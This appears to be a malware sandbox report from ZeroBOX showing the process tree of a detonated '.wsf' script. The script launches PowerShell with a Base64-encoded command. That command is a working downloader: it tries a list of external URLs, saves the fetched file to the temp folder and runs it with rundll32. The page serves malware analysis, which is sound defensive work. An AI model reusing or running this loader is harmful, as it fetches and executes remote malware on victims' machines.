popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\AprilClaim(KX2436).wsf

    3060

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAcABpAHQAaABlAGMAYQBuAHQAaAByAG8AcAB1AHMAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBrAG0AcABoAGkALgBjAG8AbQAvAEYAVwBvAHYAbQBCAC8ANgBBAHMASwB4ADIALABoAHQAdABwAHMAOgAvAC8AYwBoAGkAbQBwAGMAaQB0AHkALgBjAG8AbQAvAGgANwBlAC8ASwBHAEQAWABDAFIAZgBaAG4ANwAsAGgAdAB0AHAAcwA6AC8ALwBjAGEAcABpAHQAYQBsAHAAZQByAHUAcgByAGgAaAAuAGMAbwBtAC8AdgBRADEAaQBRAGcALwBsAHEAawAxAGoAcwBEAEkAMgA3AGIALABoAHQAdABwAHMAOgAvAC8AYwBlAG4AdABlAHIAawBpAGMAawAuAGMAbwBtAC8ASQBDADUARQBRADgALwBSAHgAcQB4AG0ARwB0ACwAaAB0AHQAcABzADoALwAvAHAAcgBvAHAAZQByAHQAeQBuAGUAYQByAC4AYwBvAC4AdQBrAC8AUQB5AFkAVwB5AHAALwBKAGIAeQBLAGsARQBEAGUALABoAHQAdABwADoALwAvAHIAbwBzAGUAdwBvAG8AZABsAGEAbQBpAG4AYQB0AGUAcwAuAGMAbwBtAC8AaABlAGEALwBkADAATgB2ADAAeABsADcARAAyACwAaAB0AHQAcABzADoALwAvAGcAcgBhAGYAaQBjAGEAbABlAHYAaQAuAGMAbwBtAC4AYgByAC8AMABwADYAUAAvAFgAdABSAEUAUAA5AGYATABvAHEALABoAHQAdABwAHMAOgAvAC8AYQBnAHQAZQBuAGQAZQBsAHAAZQByAHUALgBjAG8AbQAvAEYAUAB1ADAARgBhAC8AeQBKAGUAYwAyAHkALABoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBoAGkAcgB0AHMAdQBtAG0AaQB0AC4AYwBvAG0ALwBNAHcAQgBHAFMAbQAvADAAbgBhAHoAbABPAHUAYgB3ADYAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQwBhAGMAbwBnAGUAbgBpAGMAcwBDAGwAaQBlAG4AdAByAHkAIABpAG4AIAAkAHAAaQB0AGgAZQBjAGEAbgB0AGgAcgBvAHAAdQBzACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABDAGEAYwBvAGcAZQBuAGkAYwBzAEMAbABpAGUAbgB0AHIAeQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcABhAHIAcgBlAGwALgBGAG8AcgBlAHMAcABlAGUAYwBoADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAcABhAHIAcgBlAGwALgBGAG8AcgBlAHMAcABlAGUAYwBoACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAHAAYQByAHIAZQBsAC4ARgBvAHIAZQBzAHAAZQBlAGMAaAAsAFgANQA1ADUAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="

      2224

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf